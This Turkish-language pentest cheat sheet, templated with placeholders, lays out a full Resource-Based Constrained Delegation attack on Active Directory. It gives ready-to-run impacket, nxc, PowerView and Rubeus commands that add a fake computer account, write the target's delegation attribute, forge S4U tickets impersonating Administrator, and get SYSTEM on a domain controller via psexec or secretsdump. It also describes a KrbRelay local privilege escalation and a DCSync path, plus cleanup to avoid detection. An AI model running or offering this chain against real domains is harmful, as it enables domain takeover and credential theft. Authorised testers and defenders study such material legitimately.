Resource-Based Constrained Delegation (RBCD) — Computer Hesabına GenericWrite ile Takeover
Hedef bilgisayar nesnesi üzerinde GenericWrite/GenericAll/WriteDACL haklarına sahip olunduğunda, kontrol edilen bir computer hesabı (impacket-addcomputer ile oluşturulan) hedefin msDS-AllowedToActOnBehalfOfOtherIdentity alanına yazılır. Ardından impacket-getST -spn cifs/{{DC_HOST}} -impersonate Administrator ile hedefte Administrator olarak bilet alınır. MachineAccountQuota>0 gerekir.
- Hedef bilgisayar nesnesi üzerinde GenericWrite / GenericAll / WriteDACL / WriteProperty(msDS-AllowedToActOnBehalfOfOtherIdentity) yazma hakkı
- Kontrol edilen bir computer hesabı: MachineAccountQuota>0 ile yeni eklenir VEYA mevcut bir computer hesabının kimlik bilgisi
- DC'ye LDAP (389) ve Kerberos (88) erişimi; clock skew < 5 dk
Komutlar
nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} -M maq impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'Fake123!' -dc-host {{DC_HOST}} -domain-netbios {{DOMAIN}} '{{DOMAIN}}/{{USER}}:{{PASS}}' impacket-rbcd -delegate-from 'FAKE01$' -delegate-to '{{DC_HOST}}$' -action write '{{DOMAIN}}/{{USER}}:{{PASS}}' impacket-getST -spn cifs/{{DC_HOST}} -impersonate Administrator '{{DOMAIN}}/FAKE01$:Fake123!' KRB5CCNAME=Administrator@cifs_{{DC_HOST}}.ccache impacket-psexec -k -no-pass {{DOMAIN}}/Administrator@{{DC_HOST}} Set-DomainRBCD -Identity {{DC_HOST}} -DelegateFrom 'FAKE01$' Rubeus.exe hash /password:Fake123! /user:FAKE01$ /domain:{{DOMAIN}} Rubeus.exe s4u /user:FAKE01$ /aes256:<AES256_KEY> /impersonateuser:Administrator /msdsspn:cifs/{{DC_HOST}} /ptt nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} --delegate Administrator RBCD Nedir
Resource-Based Constrained Delegation (RBCD), klasik constrained delegation’ın tersidir: delegasyon kararı, devreden kaynağın (resource = hedef bilgisayar) kendi msDS-AllowedToActOnBehalfOfOtherIdentity (yani Security Descriptor) alanında tutulur. Bu alan hedefin kendi nesnesinde olduğundan, hedef bilgisayar üzerinde GenericWrite/GenericAll/WriteDACL/WriteProperty haklarına sahip herkes bu alanı düzenleyip kontrol ettiği bir hesabı ‘adına davranabilir’ hale getirebilir. Sonuç: kontrol edilen hesap, S4U2Self+S4U2Proxy ile hedefte herhangi bir kullanıcıyı (Administrator) impersonate eder.
Klasik Saldırı Zinciri
- ACL keşfi: BloodHound ile hedef computer üzerinde GenericWrite/GenericAll/WriteDACL edge’i olan bir principal ele geçirdiğini doğrula (ad-acl-abuse).
- Kaynak hesap: MachineAccountQuota>0 ise impacket-addcomputer ile FAKE01$ oluştur (parolasını sen belirlersin). MAQ=0 ise kontrol ettiğin mevcut bir computer hesabını ya da yazma hakkın olan başka principal’ı kullan.
- RBCD yaz: impacket-rbcd -action write ile hedefin msDS-AllowedToActOnBehalfOfOtherIdentity alanına FAKE01$ SID’ini yaz (veya PowerView Set-DomainRBCD).
- S4U: impacket-getST -spn cifs/
-impersonate Administrator ‘ /FAKE01$: ’ ile Administrator bileti al. Rubeus tarafında önce Rubeus hash ile anahtar üret, sonra Rubeus s4u /aes256 /ptt. - Erişim: KRB5CCNAME ile bileti yükleyip -k -no-pass psexec/secretsdump ile hedefte SYSTEM/Administrator ol.
- Temizlik: impacket-rbcd -action remove ile msDS-AllowedToActOnBehalfOfOtherIdentity alanını eski haline döndür; eklenen FAKE01$ hesabını sil.
KrbRelay Varyantı
GenericWrite hakkın yoksa bile, yerel bir Kerberos relay (KrbRelay/KrbRelayUp) ile makinenin kendi authentication’ını LDAP’a relay edip kendi computer nesnesinin RBCD alanına yazma yapılabilir — lokal SYSTEM’e (privesc) giden klasik yol. Bu, LDAP signing zorunlu DEĞİLSE çalışır.
Gotcha’lar
- MachineAccountQuota: Varsayılan 10. 0 ise yeni computer ekleyemezsin; -M maq ile kontrol et. MAQ=0 senaryosunda kontrol ettiğin başka bir computer hesabı (ör. coerce/relay ile elde edilmiş) delege eden olabilir.
- SID gerekir, parola değil: RBCD alanına yazılan şey delege eden hesabın SID’idir. S4U yapabilmek için o hesabın parola/AES anahtarına sahip olman gerekir — bu yüzden kendi oluşturduğun FAKE01$ idealdir.
- SPN formatı: -spn cifs/{{DC_HOST}} hedefin FQDN’i ile yazılmalı; alınan bilet /altservice (Rubeus) ile host/ldap/http/wsman’a yeniden yazılabilir (DCSync için ldap).
- Clock skew: S4U Kerberos olduğundan DC ile saat senkronu şart (KRB_AP_ERR_SKEW). sudo ntpdate {{DC_IP}}.
- LDAP write koşulu: RBCD yazımı LDAP üzerinden; LDAP channel binding/signing relay senaryolarını etkiler ama doğrudan ACL write’ı (yetkin varsa) etkilemez.
- Protected Users: İmpersonate edilecek kullanıcı NOT_DELEGATED/Protected Users ise S4U2Self başarısız olur — farklı bir privileged hesap seç.
- Temizlik önemli: Bıraktığın FAKE01$ hesabı ve değişen security descriptor tespit edilebilir; pentest sonrası mutlaka remove et.